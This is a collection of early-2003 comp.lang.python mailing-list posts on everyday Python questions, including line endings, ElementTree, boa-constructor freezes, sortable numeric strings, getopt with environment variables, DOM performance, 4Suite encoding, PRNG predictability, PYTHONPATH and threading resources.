On Thursday 16 Jan 2003 10:47 pm, you wrote:
>     andy> Your XML server's usage() method returns a string which wraps
>     andy> badly on my linux box; the line-end codes are probably Windows
>     andy> ones, I suppose...
>
>     andy> However, the synopsis() method returns a properly formatted
>     andy> string... are you mixing OSes or editors, perchance?
>
> Andy,
>
> Try
>
>     print srvr.synopsis()
>
> or
>
>     print srvr.usage()
>
> They've both got embedded LF characters as line endings.  The server runs
> on a Linux box.  Historically my development box was Linux w/ XEmacs, but
> more recently it is Mac OS X/XEmacs.  It still looks like the line endings
> are plain old LF.
>
> Skip

Oh yes, so it is.  Going off into a corner to sulk now.  <tourettes> Damned 
knee-jerk reaction, lack of attention to detail; can't even read plain 
English... mutter! rant! growl, mutter. </tourettes>

<andyj>




From claird at lairds.com  Fri Jan  3 06:56:01 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 03 Jan 2003 11:56:01 -0000
Subject: what do after installing Python2 ?
References: <avScnQKzV4pdfomjXTWcqQ@comcast.com> <20030102225658.14241.00000509@mb-cr.news.cs.com>
Message-ID: <v1auihlv5abl31@corp.supernews.com>

In article <20030102225658.14241.00000509 at mb-cr.news.cs.com>,
Chergarj <chergarj at cs.com> wrote:
			.
			.
			.
>For that much, the program/application works.  I used the Python (command line)
> instead of IDLE.  Is that enough, or is there still some path manipulating and
>configuring that is needed?  Other than reading about how the python code works
>and entering examples from any code source, what else must be studied and
>understood in order to write and save and later distribute a program?
>
>G C

Good questions.  The difficulties in answering them
are more cultural than technical.  Python is flexible
in ways that might be unfamiliar to someone with a
background in what I'll abbreviate as proprietary 
languages.  Think of Python as a core of technology.
Because it's "free" and "open", though, different 
people have wrapped that core in a variety of packages,
to suit their own circumstances.  Thus, there are so
many answers to the "... and later distribute a pro-
gram" question as to overwhelm a newcomer.

Actually, the variety sometimes overwhelms *me*.

In any case, it's OK to start with what's working for
you, become comfortable with that, and ask more de-
tailed questions as your needs or interests expand.
There's no particular official trajectory for "what
... must be studied".  Again, Python is a core tech-
nology with many and varied manifestations.  It's
common for deep Python gurus to be quite ignorant
about several aspects of Python use that happen not
to be in their experience.  That's OK.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From lac at strakt.com  Thu Jan 23 10:31:39 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 23 Jan 2003 16:31:39 +0100
Subject: XML vs Python? 
In-Reply-To: Message from "Donnal Walter" <donnalcwalter@yahoo.com> 
   of "Thu, 23 Jan 2003 07:55:43 CST." <b0os62$59t$1@main.gmane.org> 
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <23891c90.0301170257.7267c8c3@posting.google.com> <b0os62$59t$1@main.gmane.org> 
Message-ID: <200301231531.h0NFVdjL022636@ratthing-b246.strakt.com>

> "Paul Boddie" <paul at boddie.net> wrote:
> >
> >   * You could write your own object model. Frederik Lundh's
> >     ElementTree is like this. I'm not 100% convinced that it's
> >     beneficial to drop a standard object model that is widely
> >     understood for another which is more Pythonic, although this
> >     is a tradeoff that might be appropriate for some situations.
> >
> 
> I would be interested in a reference or URL to FL's ElementTree. Google was
> no help here. Thanks.
> 
> Donnal Walter
> Arkansas Children's Hospital
> 
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

This is because Paul Boddie cannot spell Fredrik :-)
You can get it here http://effbot.org/downloads/

Laura Creighton




From lac at strakt.com  Thu Jan  9 15:03:49 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 21:03:49 +0100
Subject: best college for computer science major 
In-Reply-To: Message from sean@activeprime.com (Sean) 
   of "09 Jan 2003 07:03:31 PST." <ef7a350b.0301090703.50a3221e@posting.google.com> 
References: <3e1ba232_6@nopics.sjc> <pan.2003.01.08.22.32.27.57796@compy.attbi.com> <ef7a350b.0301090703.50a3221e@posting.google.com> 
Message-ID: <200301092003.h09K3njL015299@ratthing-b246.strakt.com>

> jerf at compy.attbi.com wrote in message news:<pan.2003.01.08.22.32.27.57796 at compy.att
> bi.com>...
> > On Tue, 07 Jan 2003 22:59:50 -0500, Tupoi wrote:
> > 
> > > what are the best colleges for those wanting to major in computer science
> > 
> > Succeeding in computer science is more a matter of being dedicated and
> > devoted to the task and taking advantage of the resources you'll find in
> > college. As long as you are that kind of student, almost any department
> > will be good enough. If you are not that kind of student, no department
> > will be good enough.
> 
> Thank you for saying *much* more eloquently than I did what I was
> trying to get across.
> 
> -Sean
> -- 

Aha, I didn't understand it that way.  yes, thank you Jerf.

Laura




From jbarham at jbarham.com  Wed Jan 22 19:01:25 2003
From: jbarham at jbarham.com (John E. Barham)
Date: Thu, 23 Jan 2003 00:01:25 GMT
Subject: Outlook Express and COM
References: <mailman.1043202040.26582.python-list@python.org>
Message-ID: <phGX9.93643$H7.3979436@news2.calgary.shaw.ca>

Tim Peters wrote:

> I doubt you'd need to bother with C++.  The spambayes project (on
> SourceForge) is written in pure Python, and last I timed it scored about
80
> messages/second wall-clock time.  This includes file I/O, the time for the
> email pkg to parse the raw text, and the time to do elaborate tokenization
> and scoring.

I'd much prefer to stay w/ Python but I'm assuming that I'll have to do the
final version in C++ not so much for the performance benefits as that a C++
binary will presumably be easier to install and run w/ a whizzy UI on
Windows without scaring my users.





From peter at engcorp.com  Mon Jan 27 21:55:01 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 21:55:01 -0500
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
Message-ID: <3E35F105.27C32244@engcorp.com>

Newt wrote:
> 
> Silly question:
> 
> From a command line, how do I create pyc files? I know I can do it from
> within IDLE, but I want to use a different editor (for other languages).

I just started wondering, why do you want to do this?  Do you
realize that Python automatically creates the pyc files for
you when you import modules?  It is only in rare cases that
you actually need to generate a .pyc file "manually".  Maybe
this is not such a case?  Just wondering...
 
-Peter



From riaan at e.co.za  Tue Jan 14 16:27:07 2003
From: riaan at e.co.za (Riaan Booysen)
Date: Tue, 14 Jan 2003 23:27:07 +0200
Subject: boa-constructor 0.2 freezes on start-up
References: <mailman.1042571909.21382.python-list@python.org>
Message-ID: <3e248013.0@news1.mweb.co.za>

Hi Loren,

<PoulsenL at capanalysis.com> wrote in message
news:mailman.1042571909.21382.python-list at python.org...
> I am having some trouble getting boa up and running.  I am using Python
> 2.2.2 and wxPython 2.4.0 for 2.2 I can't seem to get past
>
> ...
> importing Models.ConfigSupport
> importing Models.CPPSupport
> importing Models.HTMLSupport
> importing Models.XMLSupport
> importing ZopeLib.ZopeEditorModels
> executing plug-ins...
> importing ZopeLib.ZopeViews
> importing ZopeLib.ZopeExplorer
> importing Explorers.PrefsExplorer
> creating Inspector
> importing Inspector
> creating Editor
> importing Editor
> importing Explorers
>
> using python -v
>
> I can't really get any more info

You forgot to mention that you are using the unicode build of wxPython
2.4.0.1

It is a problem in wxPython with the wxStyledTextCtrl. I forgot to add a
mention
of it to the Bugs.txt file, sorry.

If anyone want to investigate it, the freeze happens here:
"Python22\lib\site-packages\wxPython\stc_.py", line 991
    def StyleSetSpec(self, *_args, **_kwargs):

It works well enough with the unicode build of wxPython 2.3.4.2 and there
isn't that much difference between that and 2.4.0.1 so I suggest you
downgrade
until 2.4.0.2 or 2.4.1 is out.

Thanks,
Riaan.





From p-abel at t-online.de  Thu Jan 16 08:14:05 2003
From: p-abel at t-online.de (Peter Abel)
Date: 16 Jan 2003 05:14:05 -0800
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>
Message-ID: <13a533e8.0301160514.29cdda0e@posting.google.com>

Chris Spencer <clspence at one.net> wrote in message news:<cvqb2vge6101f1l0sp20pmvdfgql84r1nt at 4ax.com>...
> Due to certain design constraints, I must be able to store both integers
> and floating point numbers as strings.  These strings must be able to be
> compared correctly, so things like: "999"<"3432" are not possible.
> 	One option we thought of was padding the strings with zeros, so things
> like: "00000999"<"00003432" would work.  This seems a bit hack-y to me.  I was
> wondering if anyone has a more elegant solution to the problem?
> 
> Chris.

As bit-representation results in wide strings, I tried it in hex and
seems to be successfull:


def n2s(number):
  """
  Converts any number (int,float) to a string
  in an near hex-representation
  Doesn't work with float in exponential format
  """
  
  # Get the signum of number by using 'and or trick'
  signum=number<0 and -1 or 1

  # convert int and float to the common float-format
  # and make a string of it
  num_str=str(abs(float(number)))
  
  # Get the fixed and the fraction-part
  (sfix,sfrac)=num_str.split('.')

  # Convert both to an int
  # considering the number's signum
  fix=int(sfix)*signum
  # Take the 7 most left decimal fraction-digits
  frac=int((sfrac+'0000000')[:7])*signum

  # Convert both to a 6-digits hex-String
  fixum=('%06X'%fix)[-6:]
  fractum=('%06X'%frac)[-6:]

  # Since 2's complement changes order
  # of negativ and positiv numbers, we
  # need a signum represantation in the right order
  # ord('+'), ord('-') is in wrong order too
  sig=signum == 1 and 'p' or 'm'
  return sig+fixum+sig+fractum

def s2n(snum):
  """
  Converts "sig+fixum+sig+fractum" - format  to float
  """
  # Get the signum 1 or -1
  signum = snum[0]=='p' and 1 or -1
  prefix = signum == 1 and '00000000' or 'FFFFFFFF'
  sfix=snum[1:7]
  sfrac=snum[8:]

  # We need prefix, to get the right sign by eval
  fix=eval ('0x'+((prefix+sfix)[-8:]))

  # frac has special case, when 0
  if eval('0x'+sfrac):
    # frac-sign must be reversed
    frac=eval('0x'+((prefix+sfrac)[-8:]))*signum
  else:
    frac=0
    
  fi='%d'%fix
  # %07d is important
  fra=('%07d'%frac)[:7]

  return float(str(fi)+'.'+str(fra))

if __name__ == '__main__':

  # remark lnum is allready sorted 
  lnum=[-1234.567 , -10.0 , -3 , 0 , 20.56,200]
  # Conversion
  lcv =map(n2s,lnum)
  # Converted an sorted  
  lcvs=[]
  lcvs[:]=lcv  # A Copy
  lcvs.sort()
  # reconvert
  lrcv=map(s2n,lcvs)
  
  print 'Numbers    :'
  print lnum
  print 'Converted  :'
  print lcv
  print 'Sorted     : (Hope there is no change to Converted!)'
  print lcvs
  print 'Reconverted:',lrcv
  
Here's the program's ouput:
---------------------------
>>> Numbers    :
[-1234.567, -10.0, -3, 0, 20.559999999999999, 200]
Converted  :
['mFFFB2EmA97B90', 'mFFFFF6m000000', 'mFFFFFDm000000',
'p000000p000000', 'p000014p557300', 'p0000C8p000000']
Sorted     : (Hope there is no change to Converted!)
['mFFFB2EmA97B90', 'mFFFFF6m000000', 'mFFFFFDm000000',
'p000000p000000', 'p000014p557300', 'p0000C8p000000']
Reconverted: [-1234.567, -10.0, -3.0, 0.0, 20.559999999999999, 200.0]

Hope could help you.
-- Peter __



From skip at pobox.com  Fri Jan  3 20:51:07 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 3 Jan 2003 19:51:07 -0600
Subject: Getopt: Using Environment Var To Override
In-Reply-To: <ept4va.sa2.ln@boundary.tundraware.com>
References: <ept4va.sa2.ln@boundary.tundraware.com>
Message-ID: <15894.15883.425276.862441@montanaro.dyndns.org>

    Tim> I currently use getopt to process my command line args.  Is there
    Tim> some standard/easy/idiomatic/Pythonic way to supplement this with
    Tim> an environment variable?  

None that I'm aware of, however depending on how your environment variable
is formatted it might be trivial tack it onto the front or back of the args
you pass to getopt.  Suppose you require your environment variable value to
look like a set of arguments.  It could be as simple as

    envargs = os.environ.get("MYENV")
    if envargs is not None:
        opts, args = getopt.getopt(envargs.split(), ...)
    for opt, arg in opts:
        ...

    if args:
        handle error?

then later,

    opts, args = getopt.getopt(sys.argv[1:], ...)
    for opt, arg in opts:
        ...

    if args:
        process parameters

(Based upon the 1, 2, 3 you gave, I think you want to process environment
variables before the command line.)

Skip




From claird at lairds.com  Thu Jan 23 09:51:52 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 23 Jan 2003 14:51:52 -0000
Subject: Outlook Express and COM
References: <mailman.1043195797.17880.python-list@python.org> <b0kqpb$qkdla$1@ID-136433.news.dfncis.de> <v2vt41s6a798c6@corp.supernews.com>
Message-ID: <v300c841d8f426@corp.supernews.com>

In article <v2vt41s6a798c6 at corp.supernews.com>, I confused matters
by suggesting:
>In article <b0kqpb$qkdla$1 at ID-136433.news.dfncis.de>,
>Alex K. Angelopoulos <aka at mvps.org> wrote:
>>That's correct - OE is NOT COM-exposed.
>			.
>			.
>			.
>However, there's apparently (I haven't done it myself yet)
>a way to pretend it is <URL: http://
>support.microsoft.com/default.aspx?scid=kb;en-us;Q230225 >.
			.
			.
			.
Blurg.  This note applies to Outlook 2000, and
apparently not at all to Outlook Express.  My
apologies to all for the distraction I created.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From theller at python.net  Fri Jan 31 10:32:30 2003
From: theller at python.net (Thomas Heller)
Date: 31 Jan 2003 16:32:30 +0100
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it> <mailman.1044024304.31027.python-list@python.org>
Message-ID: <of5x8hdd.fsf@python.net>

Christian Tismer <tismer at tismer.com> writes:

> Here the same, written in some bad Python style,
> but as a builtin, it would do quite much
> simplification for argument checking:
> 
>  >>> def iscontainer(obj):
> ... 	try:
> ... 		obj[0:0]   # is sequence
> ... 		try:
> ... 			buffer(obj)
> ... 			return False
> ... 		except:
> ... 			pass
> ... 		return True
> ... 	except:
> ... 		return False
> ...
>  >>> iscontainer("")
> 0
>  >>> iscontainer(1)
> 0
>  >>> iscontainer(())
> 1
> 
> I'm (ab)using the fact that sequences which are
> no containers usually support the buffer interface.

This is worse, IMO.

ctypes' instances support the buffer interface, whether
they are sequences (or containers) or not.

ctypes' sequence instances (Array, for example)
support indexing, but not slicing.

The latter point could be viewed as a bug, although I'm not sure.

---

All this speaks for Alex'

    try:
        obj+''
    except TypeError:
        return 

construct, although I can think of cases where it would
be problematic.  Think of huge 200 MB strings...

Thomas



From Oschler at earthlink.net  Wed Jan 22 11:33:11 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Wed, 22 Jan 2003 16:33:11 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <bJzX9.9$0L3.15587@news2.news.adelphia.net>

"Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
news:slrnb2ten0.1gg.gerhard.haering at haering.opus-gmbh.net...
> Robert Oschler <Oschler at earthlink.net> wrote:
> > I want to write my own email client, what is the best SMTP/POP library
for
> > Python 2.2? URL's please.
>
> What's wrong with smtplib and poplib in the standard library?
>

Gerhard,

Nothing, but there's so much stuff coming out for Python these days, I feel
it's always a good idea to ask in case there's something new and exciting I
might not know about.

thx






From arosado at softhome.net  Thu Jan  2 20:34:00 2003
From: arosado at softhome.net (Andres Rosado)
Date: Thu, 02 Jan 2003 21:34:00 -0400
Subject: HELP! Must choose language!
Message-ID: <5.1.0.14.0.20030102213348.00bd8fc0@mail.softhome.net>

On 01:01 PM 12/30/2002 -0500, the keyboard of 
python-list-request at python.org emitted:
>If my experience counts
>for anything, those who have C(++) (and for different reasons also
>PHP, VisualBasic etc.) for a first language far more often turn out
>being just coders as opposed to real programmers.

I've seen way too many here in the university I'm attending. :-/ Few people 
are capable of gasping the concepts _without_ explaining directly in a 
particular language


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

I am sorry to write you such a long letter.  I don't have time to
write a short one.
         -- Oscar Wilde





From paul at boddie.net  Fri Jan  3 07:39:40 2003
From: paul at boddie.net (Paul Boddie)
Date: 3 Jan 2003 04:39:40 -0800
Subject: Why is xml.dom.minidom so slow?
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE37@admin56.narex.com> <mailman.1041548525.2273.python-list@python.org>
Message-ID: <23891c90.0301030439.6894d4dc@posting.google.com>

martin at v.loewis.de (Martin v. L?wis wrote in message news:<mailman.1041548525.2273.python-list at python.org>...
> 
> What *has* been demonstrated to be a speed-up over minidom is to use
> 4Suite's cDomlette.

I can definitely agree with this. While the XML work I've been doing
has also involved DOM operations (parsing isn't interesting on its
own, after all), I've seen the performance of different packages in
order of decreasing speed to be: cDomlette, minidom, 4DOM. However,
I'm deliberately not using the extra functionality of 4DOM.

[...]

> When completed, it still gives you a Python-conforming DOM tree. That
> DOM tree misses some of the DOM functionality, though, that's why they
> call it a Domlette.

Still, cDomlette does have things like importNode which are missing
from minidom (which at least was missing from PyXML a couple of
releases ago).

Paul



From peter at engcorp.com  Sun Jan  5 11:17:38 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 05 Jan 2003 11:17:38 -0500
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com>
Message-ID: <3E185AA2.AAEFEBB7@engcorp.com>

Domenico wrote:
> 
> have your say...

We can have that any time.  

What do *you* need your editor or IDE to do for you, that's the question.

Before you ask, though, you might want to actually read recent
threads, or check the archives.  This is discussed frequently,
and in fact there's still an active thread on the topic...

-Peter



From Mike.Olson at fourthought.com  Tue Jan 21 00:23:13 2003
From: Mike.Olson at fourthought.com (Michael Olson)
Date: Mon, 20 Jan 2003 22:23:13 -0700
Subject: [4suite] 4Suite Reliance on ENVIRONMENT & global variables
In-Reply-To: <1043124731.1373.244.camel@refugeeMedia>
Message-ID: <704B83C4-2D00-11D7-8B43-000393CFDA9C@fourthought.com>

> The strange thing is that if I directly output the XML source without
> doing any XSLT processing, the XML source appears correctly.  Somewhere
> along the line where the strings are being passed from the python
> libraries to the 4Suite libraries (by Py_ParseArgs..???), the strings
> are being 'miscommunicated'.
>

By "output the XML source" do you mean just print it out (or fetch it 
from the file system) ro do you mean parse it into DOM, and print it 
out?

If not the later, can you try that instead of XSLT to see if this works.

Thanks
Mike

> Now, it might be a Python2.2.2 issue since libxml2/libxslt from the
> gnome project are having similar problems as well.
>
> In 4Suite, do the apps embedd the python interpretor or do the apps
> start purely from a python environment?
>
> It might be good to check to see whether this problem still occurs 
> other
> 'python embedded' application (ie. uses Py_NewInterpretor from C). I
> forget, does the command-line version of python dynamically link to the
> python libraries?  If so, I wonder if the command-line version of 
> python
> is doing anything special or different when it links up and initializes
> the python libraries.
>
> I'm reposting this message on to the Python mailing list to see if
> anybody there can help give us a clue.
>
> P.S Has there been any changes in Python2.2.3+ that might possibly fix
> this problem?
>
> On Mon, 2003-01-20 at 22:28, Uche Ogbuji wrote:
>> On Mon, 2003-01-20 at 14:52, Mongryong wrote:
>>> Hi,
>>>
>>> I'm having trouble getting the latest 4Suite XML/XSLT tools to work 
>>> the
>>> way I want in mod_python and I know I'm not the first one to 
>>> experience
>>> "out-of-the-box" success.
>>>
>>> I've determined that it's an encoding issue.   Now, with a 
>>> stand-alone
>>> script or CGI script under Apache, 4XSLT works fine.  But under
>>> mod_python (which doesn't have access to ENVIRONMENT variables), 
>>> 4XSLT
>>> library decodes the XML source file in a total different encoding.  
>>> XSL
>>> templates (ie. <xsl:template name="blah">) are never executed because
>>> the XML tag is never recognized by the XSL processor.  Hence, you 
>>> get an
>>> empty output.
>>>
>>> I've check the default system encoding codec and it returns 'ascii' 
>>> (ie.
>>> sys.getdefaultencoding).  Now, it could be that the python library
>>> relies on some ENVIRONMENT variable for its configuration.
>>>
>>> Anybody have any ideas what 'parameters' might not be initialized
>>> properly under a non-CGI or non-shell environment such as mod_python?
>>> Or, is there a parameter that one can set to change the XML input
>>> decoding?
>>
>> I don't think there is any environment variable that could affect 
>> this.
>>
>> However, there have been a lot of fixes recently, including to some
>> endianness bugs.  Do you mind trying again with latest 4Suite CVS and
>> telling us if it helps?  Either wait till tomorrow's snapshot, or 
>> check
>> out current CVS HEAD directly
>>
>> http://4suite.org/docs/4SuiteCVS.xml
>>
>> If it doesn't help, I hope you'll be able to help us work with you to
>> find a solution for mod_python users.
>>
>> -- 
>> Uche Ogbuji                                    Fourthought, Inc.
>> http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
>> Python Generators + DOM - 
>> http://www.xml.com/pub/a/2003/01/08/py-xml.html
>> 4Suite Repository Features - 
>> https://www6.software.ibm.com/reg/devworks/dw-x4suite5-i/
>> XML class warfare - http://www.adtmag.com/article.asp?id=6965
>> MusicBrainz  metadata - 
>> http://www-106.ibm.com/developerworks/xml/library/x-think14.html
>>
>
> <main.py>
Mike Olson                                Principal Consultant
mike.olson at fourthought.com                +1 303 583 9900 x 102
Fourthought, Inc.                         http://Fourthought.com
PO Box 270590,                            http://4Suite.org
Louisville, CO 80027-5009, USA
XML strategy, XML tools, knowledge management





From nagylzs at freemail.hu  Mon Jan 27 17:50:19 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Mon, 27 Jan 2003 23:50:19 +0100
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia>        <mailman.1043531155.16388.python-list@python.org>        <7xfzrgq3su.fsf@ruckus.brouhaha.com>        <200301272205.OAA25820@mail.arc.nasa.gov> <15925.45528.270502.97360@montanaro.dyndns.org>
Message-ID: <3E35B7AB.4070200@freemail.hu>

>    Chad> and sequence, and start predicting the next random numbers.  The
>    Chad> details typically amount to solving a linear difference equation
>    Chad> (which is doable).
>
>Is this also true for the new-in-2.3 random number generator (Mersenne
>Twister)?  I'm not trying to pick nits with your arguments, just asking.  I
>know nothing about cryptography or random number generation.
>  
>
The authors of Mersenne Twister does not guarantee the MT19937 to be 
cryptograpichally secure,
but they say it is secure through a cryptographic hash function.

P.S.: I'm a newbie. I dared to answer here only because I wrote my 
degree about PRNG's, epecially MT. :-)

Laci 1.0






From cnetzer at mail.arc.nasa.gov  Wed Jan 15 19:02:59 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 15 Jan 2003 16:02:59 -0800
Subject: Interesting problem comparing strings with integer values...
In-Reply-To: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>
Message-ID: <200301160002.QAA08652@mail.arc.nasa.gov>

On Wednesday 15 January 2003 15:23, Chris Spencer wrote:
> Due to certain design constraints, I must be able to store both
> integers and floating point numbers as strings.  These strings must
> be able to be compared correctly, so things like: "999"<"3432" are
> not possible. One option we thought of was padding the strings with
> zeros, so things like: "00000999"<"00003432" would work.  This seems
> a bit hack-y to me.  I was wondering if anyone has a more elegant
> solution to the problem?

If you must only store the numbers as strings, then you could easily 
convert them back to number types for comparisons, ie:

float("999") < float("3432")

A fancy method would be to try converting to floats, and if that fails, 
convert to longs for comparison.  If this approach isn't workable, then 
you need to more clearly identify your needs.  Is speed an issue?  Is 
it really only an issue of storing data as strings, or must you operate 
directly on those strings as well, etc.?  And will the numbers all be 
small (floats loose precision as they get to be very large, for example)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From tjreedy at udel.edu  Sat Jan 11 14:09:02 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 11 Jan 2003 14:09:02 -0500
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <ZpydnaeHcZlN8b2jXTWc2Q@comcast.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301110959.5b1439da at posting.google.com...
> I agree with the fact that explicit use of self is good
> for code readability, however it tends to make code lines
> too long.  Since 'self' is just a convention, I wonder if
> people out there have tried replacing it with a one-character
> equivalent without encountering any problems.

How could there be?  (Rhetorical question)
>
> I was thinking of using '_' ('I' is a distant second
> choice) instead of self.  Comments?

I routinely use s and o for self and other in private code.  's.' is
very easy for me to type (although having 'self.' in a macro or paste
buffer might work as well).  The only problem I have had is a couple
of people jabbing at me when saying so publicly.  But I plan to
continue anyway.  Good luck.

Terry J. Reedy





From bhards at bigpond.net.au  Tue Jan  7 05:17:32 2003
From: bhards at bigpond.net.au (Brad Hards)
Date: Tue, 7 Jan 2003 21:17:32 +1100
Subject: How can I edit the PYTHONPATH environmenal variable in Linux?
In-Reply-To: <001b01c2b4c4$ab10f480$210110ac@hector>
References: <001b01c2b4c4$ab10f480$210110ac@hector>
Message-ID: <200301072117.32804.bhards@bigpond.net.au>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Mon, 6 Jan 2003 01:13, Russ Chaffin wrote:
> Can someone show how to edit the PYTHONPATH environmental variable in
> Linux? I'm a novice in Linux so my learning curve is pretty steep at this
> point. I'm using a debian disto of Linux 2.4. I'm also using a bash shell
> to do my editing.
You modify environmental variables with a simple assignment:

Lets do this in stages.

First: PYTHONPATH not set:
bradh at squirt bradh $ python
Python 2.2.1 (#1, Oct  4 2002, 09:50:49)
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python2.2', '/usr/lib/python2.2/plat-linux2', 
'/usr/lib/python2.2/lib-tk', '/usr/lib/python2.2/lib-dynload', 
'/usr/lib/python2.2/site-packages']
>>>

And now with the path set:
bradh at squirt bradh $ PYTHONPATH="/lib" python
Python 2.2.1 (#1, Oct  4 2002, 09:50:49)
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/lib', '/usr/lib/python2.2', '/usr/lib/python2.2/plat-linux2', 
'/usr/lib/python2.2/lib-tk', '/usr/lib/python2.2/lib-dynload', 
'/usr/lib/python2.2/site-packages']
>>>

Note that the next time you run, this won't have any effect:
bradh at squirt bradh $ python
Python 2.2.1 (#1, Oct  4 2002, 09:50:49)
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python2.2', '/usr/lib/python2.2/plat-linux2', 
'/usr/lib/python2.2/lib-tk', '/usr/lib/python2.2/lib-dynload', 
'/usr/lib/python2.2/site-packages']

The reason for this is related to the scope in which an environmental variable 
exists in shell script, and isn't very important. What is important is 
knowing that if you want to have PYTHONPATH set everytime, you probably want 
to use the "export" keyword. Here is an example:
bradh at squirt bradh $ export PYTHONPATH='/usr/local/lib'
bradh at squirt bradh $ python
Python 2.2.1 (#1, Oct  4 2002, 09:50:49)
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/local/lib', '/usr/lib/python2.2', '/usr/lib/python2.2/plat-linux2', 
'/usr/lib/python2.2/lib-tk', '/usr/lib/python2.2/lib-dynload', 
'/usr/lib/python2.2/site-packages']
>>>

You can remove the export with the -n (conceptually, not export, or negate 
export) option:
bradh at squirt bradh $ export -n PYTHONPATH
bradh at squirt bradh $ python
Python 2.2.1 (#1, Oct  4 2002, 09:50:49)
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python2.2', '/usr/lib/python2.2/plat-linux2', 
'/usr/lib/python2.2/lib-tk', '/usr/lib/python2.2/lib-dynload', 
'/usr/lib/python2.2/site-packages']
>>>

Trust that this solves your problems.

If you want to avoid typing the export PYTHONPATH part in each time you log 
in, you can add it to a file that gets run on login, usually ~/.bashrc

Brad
- -- 
http://linux.conf.au. 22-25Jan2003. Perth, Aust. I'm registered. Are you?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+Gqk8W6pHgIdAuOMRAosQAJ9YzJbrDnjo6vgPzTdpdTNWlQeYugCeLsIo
e8SF3o6iNudD7kcSiBmGsV8=
=+AcI
-----END PGP SIGNATURE-----





From pythonhda at yahoo.com.replacepythonwithlinux  Sat Jan  4 10:46:43 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Sat, 4 Jan 2003 10:46:43 -0500
Subject: Python threading tutorial?
References: <mailman.1041679867.22000.python-list@python.org>
Message-ID: <20030104104643.7063b7ef.pythonhda@yahoo.com.replacepythonwithlinux>

Take a look at: http://directory.google.com/Top/Computers/Programming/Threads/?tc=1 - To get some theory.

For Python specific stuff: http://starship.python.net/crew/aahz/IPC9/index.html - It REALLY helps if you know a little about threads already, but there are quite a few code examples on the site. I did some threading in C before trying it out in Python so I had little trouble taking the information from this site and applying it...good luck!



On Sat, 4 Jan 2003 12:32:01 +0100
Gerrit Holl <gerrit at nl.linux.org> wrote:

> Hello,
> 
> I am looking for a tutorial on threading using Python. I do know Python, but
> I don't know threading. I have read the documentation on the threading module
> and searched for help on the web and in the archives, but I have not been able
> to find what I'm looking for.
> 
> I don't really understand threading. If I have multiple threads, can these
> threads interact? When should I use threads, and when shouldn't I? In which
> cases are threads useful, and in which cases does the phrase on Regular
> Expressions apply ("problem -> regex -> two problems")?
> 
> My case is an exercise application in which multiple object are randomly
> wandering through a field, but when they meet they interact and go in
> opposite directions. All those objects will be class instances and need to
> "live" seperately, only interacting when they meet. Can threads help me in
> this particular problem, or do threads have (very) different uses?
> 
> I hope someone can point me to Python-oriented documentation regarding
> this questions.
> 
> yours,
> Gerrit Holl.
> 
> -- 
> Asperger Syndroom - een persoonlijke benadering:
> 	http://people.nl.linux.org/~gerrit/
> Het zijn tijden om je zelf met politiek te bemoeien:
> 	http://www.sp.nl/
> 



From LogiplexSoftware at earthlink.net  Tue Jan 14 16:12:08 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 13:12:08 -0800
Subject: portalocker in Win98
